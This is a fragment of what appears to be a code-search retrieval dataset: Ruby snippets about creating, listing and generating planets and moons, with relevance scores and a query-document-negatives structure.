"def return_planets\n planet_list = \"\"\n @planets.each do |planet|\n planet_list << \"#{@planets.index(planet) + 1}. #{planet.name} \\n\"\n end\n return planet_list\n end",
"def initialize (planets)\n @planets = planets\n @ranked_planets = []\n end",
"def add_planets(planet)\n @planets << planet\n return @planets\n end",
"def planet\n fetch('stargate.planets')\n end",
"def planet\n fetch('dune.planets')\n end",
"def initialize(planets)\n @planets = planets\n #@age = rand(9999)\n end",
"def planet_list\n list = \"\"\n @planets.each_with_index do |planet, i|\n list += \" #{i+1}. #{planet.name}\\n\"\n end\n return list\n end",
"def initialize\n @planets = {}\n end",
"def generate_planet\n puts \"\\nLet's create a planet from scratch.\"\n print \"Please enter its name first: \"\n name = gets.chomp\n print \"What's its diameter of this planet in km? \"\n diameter = gets.chomp.to_f\n print \"What's its mass in kg? (example of input format: 3.30 x 10^23 ) \"\n mass = gets.chomp\n print \"What's the year length of this planet in days? \"\n yr_length = gets.chomp.to_f\n print \"What's the distance from the sun to this planet in km? \"\n dis_from_sun = gets.chomp.to_f\n print \"How many moons does this planet have? Enter 0 if there is none. \"\n moons = gets.chomp.to_i\n planet = Planet.new({\"name\" => name, \"diameter\" => diameter, \"mass\" => mass, \"yr_length\" => yr_length, \"dis_from_sun\" => dis_from_sun, \"moons\" => moons})\n return planet\nend",
"def planet; end",
"def planet; end",
"def planet; end",
"def planet; end",
"def planet; end",
"def planet; end",
"def list_of_planets()\n counter = 0\n planet_names = \"\"\n @planets.each do |planet|\n planet_names += \"\\n#{counter+1}. #{planet.planet_details}\"\n counter+=1\n end\n return planet_names\n end",
"def build_system(name, planet)\n @planets[name] = planet\n end",
"def list_all_planets\n puts \"The #{ @system } system has these #{ @all_planets.length } planets:\"\n @all_planets.each do |planet|\n puts \"#{@all_planets.index(planet)+1}. #{planet.name}\"\n end\n end",
"def set_planet\n end",
"def add_list_of_planets(list_of_planets)\n list_of_planets.each do |planet|\n @planets.push(planet)\n end\n end",
"def list_planets\n list = \"\"\n @planets.each do |planet|\n list += \"#{@planets.index(planet) + 1}. #{planet}\\n\"\n end\n return list\n end",
"def initialize\n\t\t@planets = [gallifrey, xander] # initialize hard coded planets\n\t\t#@planets.push(@new_planet) # adds new planets via user input to planets array\n\t\t@number_planets = @planets.length #counts planets by counting array elements\n\t\t@formation_year = rand(-3000000..2015)\n\t\t@age_of_system = 2015 - @formation_year\n\t\t\t\n\tend",
"def list_planets(format)\n planet_list = \"\"\n\n if format == :num\n @planets.each do |planet|\n num = @planets.index(planet)\n planet_list.concat(\"#{num + 1}. #{planet.name}\\n\")\n end\n elsif format == :comma\n @planets.each do |planet|\n planet_list.concat(planet.name + \", \")\n end\n return planet_list.strip.chop\n end\n return planet_list\n end",
"def planets\n # go through my colonies\n self.colonies.map do |my_colony|\n # get the information about each planet the colony is on\n my_colony.planet\n end\n end",
"def initialize(planets)\n @solar_system = planets\n end",
"def planets_list\n @list = String.new\n @planets.each_with_index do |planet, i|\n @list += \"#{i+1}. #{planet.name}\\n\"\n end\n return @list\n end",
"def create\n\n Planet.create(\n name: params[:name],\n image: params[:image],\n orbit: params[:orbit],\n diameter: params[:diameter],\n mass: params[:mass],\n moons: params[:moons]\n )\n\n # Create actions have no template of their own, and we also\n # want to avoid accidental form resubmission; so we redirect\n redirect_to( planets_path ) # /planets\n\n end",
"def list\n list = \"\"\n i = 0\n @planets.each do |planet|\n list << \"#{i+1}. #{planet}\\n\"\n i += 1\n end\n return list\n end",
"def show_planet(number)\n selected = @solar_system[number-1]\n\n # Calculate planet related ages\n age = 4.5e9/(selected.rotation_time/12.0)\n age = age.to_i.to_s\n age = age.reverse.scan(/\\d{3}|.+/).join(\",\").reverse\n\n # Calculate the closest neighboring planets\n # Collect names and distances of planets\n distance_and_name = []\n @solar_system.length.times do |i|\n planet_info = {}\n planet_info[:name] = @solar_system[i].name\n planet_info[:distance] = @solar_system[i].distance_from_the_sun\n distance_and_name << planet_info\n end\n # Get only the distances and sort them\n planet_distances = []\n @solar_system.each do |planet|\n planet_distances << planet.distance_from_the_sun\n end\n ordered_planets = planet_distances.sort\n number_index = ordered_planets.index(selected.distance_from_the_sun).to_i\n\n # Find the select planet's distance neighbors (2)\n if (number_index+1) == @solar_system.length\n neighbor1_distance = 0\n neighbor1_difference = 0\n else\n neighbor1_distance = ordered_planets[(number_index+1)]\n neighbor1_difference = (selected.distance_from_the_sun - neighbor1_distance).abs.round(2)\n end\n if (number_index-1) < 0\n neighbor2_distance = 0\n neighbor2_difference = 0\n else\n neighbor2_distance = ordered_planets[(number_index-1)]\n neighbor2_difference = (selected.distance_from_the_sun - neighbor2_distance).abs.round(2)\n end\n neighbor1_name = \"\"\n neighbor2_name = \"\"\n distance_and_name.each do |planet|\n if neighbor1_distance == planet[:distance]\n neighbor1_name << planet[:name]\n end\n if neighbor2_distance == planet[:distance]\n neighbor2_name << planet[:name]\n end\n end\n if neighbor1_distance == 0 && neighbor2_distance == 0\n true_neighbor = \"not to be found\"\n true_distance = \"both infinity and negative infinity\"\n elsif neighbor1_distance == 0 && neighbor2_distance > 0\n true_neighbor = neighbor2_name\n true_distance = neighbor2_difference\n elsif neighbor2_distance == 0 && neighbor1_distance > 0\n true_neighbor = neighbor1_name\n true_distance = neighbor1_difference\n else\n true_neighbor = \"#{neighbor2_name} and #{neighbor1_name}\"\n true_distance = \"#{neighbor2_difference} and #{neighbor1_difference}\"\n end\n\n # Text summary shown to user\n text = \"\\nThe planet \\[#{selected.name}\\] is #{selected.distance_from_the_sun} Astronomical Units from the sun.\n \\rThe closest neighboring planet(s) is/are #{true_neighbor}, which is/are #{true_distance} AU away.\n \\rIt orbits the sun once every #{selected.rotation_time} Earth months, or #{(selected.rotation_time/12.0).round(2)} Earth years.\n \\rSince our sun is 4.5 billion Earth years old, this planet's age is #{age}!\n \\r#{selected.name} also enjoys #{selected.moon_count} moon(s) orbitin' around it.\\n\"\n return text\n end",
"def add_planet_by_name(name)\n planet = get_space_body_by_name(name)[0]\n Planet.new(planet)\n end",
"def init\n\n=begin\n Positions in array @spec for factors:\n 0 orefactor\n 1 energyfactor\n 2 populationfactor\n 3 credtitfactor\n 4 crysstalfactor\n 5 lagerfactor\n 6 buildfactor\n 7 forschungfactor\n=end\n @spec = [1, 1, 1, 1, 1, 1, 1, 1]\n self.calc_spec\n\n if self.name.nil?\n #self.under_construction = 0\n\n if self.size.nil?\n self.size = Random.rand(@@MAX_SIZE-@@MIN_SIZE) + @@MIN_SIZE\n end\n self.ore = 20 if self.ore.nil?\n self.maxore = 100 if self.maxore.nil?\n self.maxcrystal = 1 if self.maxcrystal.nil?\n self.maxenergy = 200 if self.maxenergy.nil?\n self.crystal = 0 if self.crystal.nil?\n self.energy = 50 if self.energy.nil?\n self.population = self.size/20 if self.population.nil?\n self.maxpopulation = self.size/2 if self.maxpopulation.nil?\n\n #Creates random Planet name\n self.name = PlanetsHelper.namegen\n\n #Creates specialties for Planet\n unless self.special.nil? || self.special == 0\n self.special = Random.rand(7) + 1\n #Oreplanet\n if self.special == 1\n self.ore = 50\n @spec[0] = 1.3\n #Loveplanet \n elsif self.special == 2\n @spec[1] = 1.3\n #Creditplanet \n elsif self.special == 3\n @spec[3] = 1.3\n #Crystalplanet \n elsif self.special == 4\n self.size = @@MIN_SIZE + Random.rand(@@MIN_SIZE*2)\n self.population = self.size/10\n self.maxpopulation = self.size/2\n self.maxore = 75\n self.maxenergy = 175\n self.maxcrystal = 5\n @spec = [0.5, 0.5, 0.5, 0.5, 1, 1, 1,1]\n #Buildplanet\n elsif self.special == 5\n self.ore = 50\n self.energy = 100\n @spec[6] = 0.7\n #Lagerplanet \n elsif self.special == 6\n self.maxore = 200\n self.maxenergy = 400\n self.maxcrystal = 5\n @spec[5] = 1.3\n #Scienceplanet entfernt... fehlerhaft noch aktiv gewesen\n #elsif self.special == 7\n # @spec[7] = 1.3\n #Energieplanet \n else self.special == 7 #8\n self.energy = 100\n @spec[2] = 1.3\n end \n else\n \n self.size = (@@MAX_SIZE/2)\n self.ore = 20\n self.special = 0\n self.maxore = 100\n self.maxcrystal = 1\n self.maxenergy = 200\n self.crystal = 0\n self.energy = 50\n #self.population = 1000\n self.maxpopulation = 5000\n \n end\n @start_maxore = maxore\n @maxcrystal = maxcrystal\n @start_maxenergy = maxenergy\n end\n end",
"def generate()\n\t\t# first generate at least one star\n\t\t\n\t\tcx = centerX\n\t\tcy = centerY\n\t\tstarPos = randomLocation(cx, cy, SolarSystemRadius)\n\t\tstar = generateNewCelestialBody(starPos[0], starPos[1], 'star')\n\t\t\n\t\t# possibly another star\n\t\tif rand < ProbabilitySecondStar\n\t\t\tstarPos2 = randomDistantPosition\n\t\t\tstar2 = generateNewCelestialBody(starPos2[0], starPos2[1], 'star')\n\t\tend\n\t\t\n\t\tnumPlanets = Random.rand(MedianNumPlanets-NumPlanetsVariation...MedianNumPlanets+NumPlanetsVariation)\n\t\tnumPlanets.times do\n\t\t\tplanetPos = randomDistantPosition\n\t\t\tplanet = generateNewCelestialBody(planetPos[0], planetPos[1], 'planet')\n\t\tend\n\tend",
"def build_planet()\n puts \"\\nAdding planet. Please tell me more about this planet.\"\n \n print \"Enter the planet name: \"\n name = gets.chomp.capitalize\n \n print \"\\nEnter the planet color: \"\n color = gets.chomp.downcase\n \n print \"\\nEnter planet mass in kg: \"\n mass_kg = gets.chomp.to_f\n \n print \"\\nEnter planet's distance from the sun in km: \"\n distance_from_sun_km = gets.chomp.to_f\n \n print \"\\nEnter a fun fact about the planet: \"\n fun_fact = gets.chomp\n \n return Planet.new(name, color, mass_kg, distance_from_sun_km, fun_fact)\n end",
"def initialize(planets_array)\n @planets = planets_array\n end",
"def initialize(some_planets, name, solar_age)\n @planets = some_planets\n @name = name\n @solar_age = solar_age\n end",
"def index\n @planets=Planet.all\n end",
"def new_planet(planet)\n @planets[planet.name] = planet\n end",
"def create_plans\n dmptemplate.phases.each do |phase|\n latest_published_version = phase.latest_published_version\n unless latest_published_version.nil?\n new_plan = Plan.new\n new_plan.version = latest_published_version\n plans << new_plan\n end\n end\n end",
"def all_planet_info\n list_string = \"\"\n @planets.each_with_index do |planet, i|\n list_string << \"#{i+1}.\\n#{planet.planet_info}\\n\"\n end\n return list_string\n end",
"def index\n @planets = Planet.all\n end",
"def index\n @planets = Planet.all\n end",
"def index\n @planets = Planet.all\n end",
"def initialize(name)\n @planets = []\n @name = name\n @constellation = nil\n @type = nil\n @age = 0\n end",
"def each_planet_return\n return \"#{@name} is a planet in the solar system that is #{@distance_from_sun} million miles from the sun and has a year length of #{@planet_year} days.\\n\"\n end",
"def add_planet(planet)\n @planets << planet\n end",
"def planets\n data = JSON.parse(open(\"http://swapi.co/api/planets\").read)\n @results = data[\"results\"]\n end",
"def have_planets(options={})\n options.assert_valid_keys(:count)\n\n options.reverse_merge! :count => 1\n @objectives.push([\n Objective::HavePlanets,\n {:key => PLANET_KEY, :count => options[:count]}\n ])\n end",
"def initialize(input_planets)\n puts input_planets\n @planets = input_planets\n # input_planets is the parameter\n # these thinsg don't have to be the same\n end",
"def create_planet\n new_planet ={}\n\n print \"\\nWhat is the name of the planet? \"\n new_planet[:name] = gets.chomp.downcase\n\n print \"How old is #{new_planet[:name].each_first_letters} in Earth years? \"\n new_planet[:age] = gets.chomp.to_i\n\n print \"What is the size of #{new_planet[:name].each_first_letters}? \"\n new_planet[:size] = gets.chomp\n\n print \"How many visitors does #{new_planet[:name].each_first_letters} get? \"\n new_planet[:visitor_count] = gets.chomp\n\n print \"Who or what are #{new_planet[:name].each_first_letters} inhabitants? \"\n new_planet[:inhabitants] = gets.chomp\n\n new_planet = Planet.new(new_planet)\n\n return new_planet\nend",
"def add_planet(planet)\n @planets << planet\n end",
"def add_planet(planet)\n @planets << planet\n end",
"def add_planet(planet)\n @planets << planet\n end",
"def add_planet(planet)\n @planets << planet\n end",
"def add_planet(planet)\n @planets << planet\n end",
"def create\n @planet = Planet.new(planet_params)\n\n respond_to do |format|\n if @planet.save\n format.html { redirect_to @planet, notice: 'Planet was successfully created.' }\n format.json { render :show, status: :created, location: @planet }\n else\n format.html { render :new }\n format.json { render json: @planet.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @planet = Planet.new(planet_params)\n\n respond_to do |format|\n if @planet.save\n format.html { redirect_to @planet, notice: 'Planet was successfully created.' }\n format.json { render :show, status: :created, location: @planet }\n else\n format.html { render :new }\n format.json { render json: @planet.errors, status: :unprocessable_entity }\n end\n end\n end",
"def planet_add(planet)\n @planets.push(planet)\n return @planets\n end",
"def planet_add(planet)\n @planets.push(planet)\n return @planets\n end",
"def add new_planet\n @planets << new_planet\n end",
"def create_solar_system\n\n # Instantiate Solar System\n solar_system = SolarSystem.new('Sun')\n\n # Add instances of planets to instance of solar system\n mercury = Planet.new('Mercury','dark grey',3.30e23, 57.9, 'Is hot, but not too hot for ice')\n solar_system.add_planet(mercury)\n\n mars = Planet.new('Mars','pale yellow', 6.42e23, 227.9,'Had a thicker atmosphere in the past')\n solar_system.add_planet(mars)\n\n venus = Planet.new('Venus','pale yellow', 4.87e24, 108.2,'A day on Venus is longer than a year')\n solar_system.add_planet(venus)\n\n earth = Planet.new('Earth','blue',5.97e24, 149.6, 'Is the only planet known to support life!')\n solar_system.add_planet(earth)\n\n return solar_system\nend",
"def create_world\r\n count = 1\r\n @height.times do |j|\r\n @width.times do |i|\r\n\t #this creates half water and half earth positions\r\n\t create_position(\"water\", i + 1, j + 1) if (count <= ((@width*@height) / 2))\r\n\t\tcreate_position(\"earth\", i + 1, j + 1) if (count > ((@width*@height) / 2))\r\n\t\t#create_position(\"earth\", i + 1, j + 1)\r\n\t\tcount += 1\r\n end\r\n end\r\n\tif @log == true\r\n\t @logger.write \"created world\"\r\n\tend\r\n end",
"def add_planet(planet)\n\t\t@planets << planet\n\tend",
"def cycle_through_system\n @planets.each do|planet|\n @ranked_planets.push(planet[:name])\n end\n # Ranked numbered list of planets\n return @ranked_planets\n end",
"def find_planets(&blk)\n sectors.inject([]) do |a, e|\n a.push(*e.planets.select(&(blk || TRUEBLOCK)))\n end\n end",
"def initialize(in_all_planets, in_system, in_formation)\n @system = in_system #name of system\n @all_planets = in_all_planets\n @formation = in_formation\n end",
"def initialize(planets_hash)\n @name = planets_hash[:name]\n @orbits = planets_hash[:orbits]\n @moons = planets_hash[:number_of_moons]\n @region = planets_hash[:region] # central, border, rim\n @diameter = planets_hash[:diameter_km] # diameter in kilometers\n @terraformed = planets_hash[:terraformed]\n end",
"def create_walking_sample_points\n stops_by_stop_id = index_stops_by(:stop_id)\n all_stops = stops_by_stop_id.values\n\n \n #compute a box bounding the stations\n nw, se = compute_bounds(stops_by_stop_id.values)\n \n #determine the width of the bounding box, and the degrees per mile factor\n box_width_degrees = (se.last - nw.last).abs\n box_width_miles = haversine_distance(se.first,nw.last,se.first,se.last)\n east_west_degrees_per_mile = box_width_degrees / box_width_miles\n \n #determine the height of the bounding box and the degrees per mile factor\n box_height_degrees = (se.first - nw.first).abs\n box_height_miles = haversine_distance(se.first,nw.last,nw.first,nw.last)\n north_south_degrees_per_mile = box_height_degrees / box_height_miles\n\n\n # pad the box to account for walking connections past the station bounds \n width_degrees = box_width_degrees + 2 * BOX_PADDING_MILES * east_west_degrees_per_mile\n width_miles = box_width_miles + 2 * BOX_PADDING_MILES\n\n height_degrees = box_height_degrees + 2 * BOX_PADDING_MILES * north_south_degrees_per_mile\n height_miles = box_height_miles + 2 * BOX_PADDING_MILES\n\n x_points = (width_miles * WALKING_POINTS_PER_MILE).ceil\n y_points = (height_miles * WALKING_POINTS_PER_MILE).ceil\n\n puts \"will create walking sample point grid #{x_points} wide * #{y_points} tall\"\n \n x_increment = width_degrees/x_points\n y_increment = height_degrees/y_points\n \n walking_parent = get_walking_sample_list_node\n walk_rel_type = Neo4jr::RelationshipType.instance(:walking)\n\n starting_lat = nw.first + BOX_PADDING_MILES * north_south_degrees_per_mile\n lon = nw.last - BOX_PADDING_MILES * east_west_degrees_per_mile\n \n # lay down the grid, creating only the points within MAX_WALK_MILES of the station\n x_points.times do |x_idx|\n lat = starting_lat\n y_points.times do |y_idx|\n current_node = nil\n get_all_stops.to_a.each do |stop|\n #TODO - use a geometric index to find stations that have a reasonable likelihood of being close enough\n distance = haversine_distance(lat,lon,stop['lat'],stop['lon'])\n if distance < MAX_WALK_MILES\n if current_node.nil?\n current_node = db.createNode\n current_node['type'] = 'WalkingPoint'\n current_node['lat'] = lat\n current_node['lon'] = lon\n walking_parent.createRelationshipTo(current_node, Neo4jr::RelationshipType.instance(:walking_points))\n end\n rel = stop.createRelationshipTo(current_node,walk_rel_type)\n rel['distance'] = distance\n rel['cost'] = distance/WALKING_SPEED_MPH * 60.0\n puts \"creating walking link of length #{distance}, time #{rel['cost']} to station #{stop['stop_id']}\" \n end\n end\n lat -= y_increment\n end\n lon += x_increment\n end\n\nend",
"def create(data)\n @planet_model.create(data)\n end",
"def add_planet(planet_to_add)\n @planets << planet_to_add\n end",
"def planet_details ()\n return planet_detail = \"\\n#{@name} Planet Information : \\nRadius (mi): #{@radius_mi}\\nDistance from Sun (mi): #{@distance_frm_sun}\\nNumber of moons: #{@num_moons}\\nNumber of suns: #{@num_moons}\\nNumber of days in year: #{@year_in_days}\\n\"\n end",
"def create_plans\n\t\tdmptemplate.phases.each do |phase|\n\t\t\tlatest_published_version = phase.latest_published_version\n\t\t\tunless latest_published_version.nil?\n\t\t\t\tnew_plan = Plan.new\n\t\t\t\tnew_plan.version = latest_published_version\n\t\t\t\tplans << new_plan\n\t\t\tend\n\t\tend\n\tend",
"def create_boxes(num)\n box_vertices = polygon_vertices(NUM_SIDES, EDGE_SIZE)\n box_image = polygon_image(box_vertices)\n boxes = []\n num.times do\n body = CP::Body.new(1, CP::moment_for_poly(1.0, box_vertices, CP::Vec2.new(0, 0))) # mass, moment of inertia\n body.p = CP::Vec2.new(rand(WIDTH), rand(40) - 50)\n shape = CP::Shape::Poly.new(body, box_vertices, CP::Vec2.new(0, 0))\n shape.e = 0.0\n shape.u = 0.4\n boxes << Box.new(box_image, body)\n @space.add_body(body)\n @space.add_shape(shape) \n end\n return boxes\n end",
"def add_planet(new_planet)\n @planets << new_planet\n end",
"def add_planet(new_planet)\n @planets << new_planet\n end",
"def add_planet(new_planet)\n @planets << new_planet\n end"
] |
[
"0.74253964",
"0.73798615",
"0.71712947",
"0.6786745",
"0.67080873",
"0.6688951",
"0.6594317",
"0.64599925",
"0.64593905",
"0.6450168",
"0.6444184",
"0.6383001",
"0.6367218",
"0.63648707",
"0.6335565",
"0.6326127",
"0.6303987",
"0.62890697",
"0.628875",
"0.62790906",
"0.6259721",
"0.6216074",
"0.6194261",
"0.6178113",
"0.61606705",
"0.6097292",
"0.60503584",
"0.6046741",
"0.60191375",
"0.6017574",
"0.60014445",
"0.5975985",
"0.59575397",
"0.59447515",
"0.59030306",
"0.59030306",
"0.59030306",
"0.59030306",
"0.59030306",
"0.590227",
"0.5874115",
"0.58617437",
"0.5849643",
"0.5846744",
"0.584583",
"0.5829792",
"0.5808191",
"0.57787824",
"0.57582086",
"0.5757873",
"0.5752359",
"0.57464224",
"0.57447535",
"0.5723488",
"0.5709357",
"0.5683197",
"0.56804323",
"0.5641722",
"0.56412417",
"0.5631313",
"0.5608893",
"0.5608538",
"0.55898064",
"0.5579933",
"0.556751",
"0.556751",
"0.556751",
"0.5565848",
"0.5555011",
"0.5546453",
"0.55305254",
"0.55241627",
"0.55227655",
"0.55157614",
"0.55123734",
"0.55123734",
"0.55123734",
"0.55123734",
"0.55123734",
"0.55097187",
"0.55097187",
"0.55013716",
"0.55013716",
"0.55005866",
"0.5497506",
"0.5497121",
"0.5489281",
"0.5462294",
"0.54557323",
"0.54460406",
"0.5442168",
"0.54388297",
"0.5433618",
"0.54257524",
"0.54157746",
"0.5412511",
"0.53726894",
"0.53675073",
"0.53675073",
"0.53675073"
] |
0.6725293
|
4
|
Helper method to generate moons
|
def gen_moon(method_map)
text = "//#{method_map["class"]} function: #{method_map["name"]}
var #{method_map["indexed_name"]} = new Celestial({
name: \"#{method_map["indexed_name"]}\",
geometry: new THREE.SphereGeometry(#{method_map["radius"]+0.01}, 8, 8),
material: new THREE.MeshLambertMaterial({emissive: 0x888888, color: 0xbb8800, map: planet_texture}),
origin: #{method_map["class"]},
orbitradx: #{(Random.rand(2) == 0)? "" : "-"}#{method_map["orbit"]},
orbitrady: #{(Random.rand(2) == 0)? "" : "-"}#{method_map["orbit"]},
#{(Random.rand(2) == 0)? "ysin: false" : "xsin:false"},
rotx: 0.01,
roty: 0.01,
rotz: 0.01,
tfactor: #{2 + Random.rand * 2}});
celestials[celestials.length] = #{method_map["indexed_name"]};\n\n"
return text
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def moon; end",
"def generate\n end",
"def generate; end",
"def generate; end",
"def create_movements\n @run500m = Movement.create(name: \"500m run\")\n @run1000m = Movement.create(name: \"1000m run\")\n @run5000m = Movement.create(name: \"5000m run\")\n\n @row500m = Movement.create(name: \"500m row\")\n @row1000m =Movement.create(name: \"1000m row\")\n @row5000m =Movement.create(name: \"5000m row\")\n\n @squat = Movement.create(name: \"squat\")\n @bench = Movement.create(name: \"bench\")\n @deadlift = Movement.create(name: \"deadlift\")\n\n @clean_and_jerk = Movement.create(name: \"clean and jerk\")\n @snatch = Movement.create(name: \"snatch\")\n end",
"def generate\n end",
"def generate_model m\n # Model class, unit test, and fixtures.\n m.template 'model.rb', File.join('app/models', class_path, \"#{file_name}.rb\")\n m.template 'unit_test.rb', File.join('test/unit', class_path, \"#{file_name}_test.rb\")\n \n unless options[:skip_fixture] \n m.template 'fixtures.yml', File.join('test/fixtures', \"#{table_name}.yml\")\n end\n \n unless options[:skip_migration]\n m.migration_template 'migration.rb', 'db/migrate', :assigns => {\n :migration_name => \"Create#{class_name.pluralize.gsub(/::/, '')}\"\n }, :migration_file_name => \"create_#{file_path.gsub(/\\//, '_').pluralize}\"\n end\n \n # add has_many to referenced\n attributes.find_all{|a| a.type.to_s == \"references\"}.each do |parent|\n gsub_file \"app/models/#{parent.name}.rb\", \"class #{parent.name.camelize} < ActiveRecord::Base\" do |match|\n \"#{match}\\n has_many :#{table_name}\"\n end\n end\n end",
"def gen_mission(company_name: 'Namely', mission_name: 'Test Mission')\n @mission_generator ||= Generators::Mission.new\n @mission_generator.call(\n company_name: company_name,\n mission_name: mission_name\n )\n end",
"def mill_motor_housing\r\n # # # # # # # # #\r\n end",
"def spooky_monster_generator\n adj = %w(foggy foul dark moody quiet distant eery).sample\n place = %w(forest cave castle street country\\ road inn).sample\n person_behavior = [\"walk alone\", \"think you hear something\", \"look behind your back\", \"get a bad feeling in your stomach\", \"wonder when it was you last saw anyone\", \"are alone\", \"realize you haven't heard anything in hours\",\"stop for breath\"].sample\n spooky_question = [\"Did you hear that?\", \"Where did your companions go?\", \"When did it get so quiet?\", \"What's there, in the shadows?\", \"Did something move behind you?\", \"That smell... sulfur?\"].sample\n sense = %w(see hear smell notice).sample\n monster_type = %w(Werewolf Zombie Troll Demon Witch Ghoul Satyr Minotaur Ghost Skeleton).sample\n monster_adj = %w(Giant Cursed Angry Eldritch Demonic Spooky Ghostly).sample\n monster_behavior1 = %w(screeches howls screams pants roars threatens\\ you).sample\n monster_behavior2 = %w(charge rush\\ at\\ you attack pace approach glare).sample\n sentiment = [\"Shit.\", \"This time, it's personal.\", \"Get ready.\", \"You reach for your weapon.\", \"WTF?\"].sample\n \n story = \"Near a #{adj} #{place}, you #{person_behavior}. #{spooky_question} You #{sense} a #{monster_adj} #{monster_type}. It #{monster_behavior1}, and begins to #{monster_behavior2}. #{sentiment}\"\n\n experience = rand(1..10)\n health = rand(25..150)\n power = rand(20..30)\n\n Monster.create(name: \"#{monster_adj} #{monster_type}\", experience: experience, story: story, max_health: health, current_health: health, power: power)\n end",
"def random_typhoon_generator\n\t\t\n\t\t#Normal Typhoon\n\t\tr = rand(50) #Currently: 1/50 chance\n\t\tif(r%49 == 0)\n\t\tsz = rand(3)\n\t\tsX = rand(40-12) + 12\n\t\tsY = rand(12-1) + 1\n\t\tdX = rand(10-3) + 3\n\t\tdY = rand(2-1) + 1\n\t\ttyphoon1 = Typhoon.new(sz, sX, sY, dX, dY, @currentTime)\n\t\taddObject(typhoon1)\n\t\tend\n\t\t#Strong Typhoon\n\t\tr = rand(90) #Currently: 1/90 chance\n\t\tif(r%89 == 0)\n\t\tsz = 3\n\t\tsX = rand(46-12) + 12\n\t\tsY = rand(12-1) + 1\n\t\tdX = rand(11-3) + 3\n\t\tdY = rand(2-1) + 1\n\t\ttyphoon1 = Typhoon.new(sz, sX, sY, dX, dY, @currentTime)\n\t\taddObject(typhoon1)\n\t\tend\n\tend",
"def generate(type,name)\n Mines.mines_app_check #TODO Test\n types = %w{twitter network process metrics}\n unless types.include? type\n puts \"The type of the miner could be either twitter or network or process or metrics\"\n puts \"you typed: #{type}\"\n exit 0\n end\n puts \"Generate a #{type} miner with name: #{name}\"\n \n Generator::Miner.start [type, name]\n end",
"def reset!\n @movers = (0..SIZE).map do |i|\n Mover.new(mass: rand(0.5..3), location: Vec2D.new(40 + i * 70, 0))\n end\nend",
"def generate\n populate\n @parlour.send(@mode)\n end",
"def random_typhoon_generator\n\n #Normal Typhoon\n r = rand(50) #Currently: 1/50 chance\n if (r%49 == 0)\n sz = rand(3)\n sX = rand(40-12) + 12\n sY = rand(12-1) + 1\n dX = rand(10-3) + 3\n dY = rand(2-1) + 1\n typhoon1 = Typhoon.new(sz, sX, sY, dX, dY, @currentTime)\n addObject(typhoon1)\n end\n #Strong Typhoon\n r = rand(90) #Currently: 1/90 chance\n if (r%89 == 0)\n sz = 3\n sX = rand(46-12) + 12\n sY = rand(12-1) + 1\n dX = rand(11-3) + 3\n dY = rand(2-1) + 1\n typhoon1 = Typhoon.new(sz, sX, sY, dX, dY, @currentTime)\n addObject(typhoon1)\n end\n end",
"def index\n @moons = Moon.all\n end",
"def generate(name); end",
"def gen_planet(class_map)\n class_map[\"colour\"] = PLANET_COLOURS[class_map[\"type\"].downcase]\n text = \"//#{class_map[\"package\"]} class: #{class_map[\"name\"]}\n#{class_map[\"indexed_name\"]}.setValues({\n name: \\\"#{class_map[\"indexed_name\"]}\\\",\n geometry: new THREE.SphereGeometry(#{class_map[\"radius\"]+0.01}, 10, 10),\n material: new THREE.MeshLambertMaterial({emissive: 0x888888, color: #{class_map[\"colour\"]}, map: planet_texture}),\n origin: #{class_map[\"package\"]}, \n orbitradx: #{(Random.rand(2) == 0)? \"\" : \"-\"}#{class_map[\"orbit\"]}, \n orbitrady: #{(Random.rand(2) == 0)? \"\" : \"-\"}#{class_map[\"orbit\"]}, \n #{(Random.rand(2) == 0)? \"ysin: false\" : \"xsin:false\"},\n rotx: 0.01, \n roty: 0.01, \n rotz: 0.01,\n tfactor: #{1 + Random.rand}});\ncelestials[celestials.length] = #{class_map[\"indexed_name\"]};\\n\\n\"\n return text\nend",
"def make_large_typhoon\n\t\tsz = 3\n\t\tsX = rand(46-10) + 10\n\t\tsY = rand(14-1) + 1\n\t\tdX = rand(11-2) + 2\n\t\tdY = rand(4-1) + 1\n\t\ttyphoon1 = Typhoon.new(sz, sX, sY, dX, dY, @currentTime)\n\t\taddObject(typhoon1)\n\tend",
"def motto; end",
"def gen_mission_list\n @mission_list_generator ||= Generators::MissionList.new\n @mission_list_generator.call\n end",
"def set_moon_clocks\n now = set_clocks\n \n # Has new or full moon expired?\n if now > $tnew1 || now > $tfull1\n $tnew0, $tnew1, $tfull0, $tfull1 = LunarYear.date_of_moons(now)\n end\n \n $last_new_moon.value = format_days(now - $tnew0)\n $next_new_moon.value = format_days($tnew1 - now)\n $last_full_moon.value = format_days(now - $tfull0)\n $next_full_moon.value = format_days($tfull1 - now)\nend",
"def generate_responsibilities\n set_positions\n set_team_members\n create_responsibilities\n\n\n\n assign_responsibilities\n\n # assign_team_members\n end",
"def generate\n raise \"must implement\"\n end",
"def make_large_typhoon\n sz = 3\n sX = rand(66-10) + 10\n sY = rand(24-1) + 1\n dX = rand(11-2) + 2\n dY = rand(4-1) + 1\n typhoon1 = Typhoon.new(sz, sX, sY, dX, dY, @currentTime)\n addObject(typhoon1)\n end",
"def build\n\t\t@hills = []\n\t\tif @anthills.length == 10 && @field\n\t\t\tx = (0...@rows).to_a.shuffle.take(10)\n\t\t\ty = (0...@columns).to_a.shuffle.take(10)\n\t\t\[email protected]_with_index do |hill, i|\n\t\t\t\thill_type = rand(0..1)\n\t\t\t\tif hill_type == 0\n\t\t\t\t\t@hills << WarriorAnthill.new(hill,x[i],y[i])\n\t\t\t\telse\n\t\t\t\t\t@hills << ForagerAnthill.new(hill,x[i],y[i])\n\t\t\t\tend\n\t\t\t\t@field[x[i]][y[i]] = Cell.new(@hills[i])\n\t\t\tend\n\t\t\t@meadow = Meadow.instance.create(@field, @hills, @rows, @columns)\n\t\telse \n\t\t\tputs \"Not enough hills or field not created\"\n\t\tend\n\t\t@meadow\n\tend",
"def monster; end",
"def monster; end",
"def create_model_files\n template 'model.rb', File.join('app/models/mokio', class_path, \"#{file_name}.rb\")\n end",
"def set_moon\n @moon = Moon.find(params[:id])\n end",
"def maker\n @@maker \n end",
"def create_models\n @target_prefix = target.blank? ? '' : (target.camelize + '::')\n models = options[:models] || MODELS\n model_names = options[:names] || MODELS\n models.zip(model_names).each do |original_name, new_name|\n @model_name = new_name.camelize\n template \"#{original_name}.rb\",\n \"app/models/#{target}/#{@model_name.underscore}.rb\"\n end\n end",
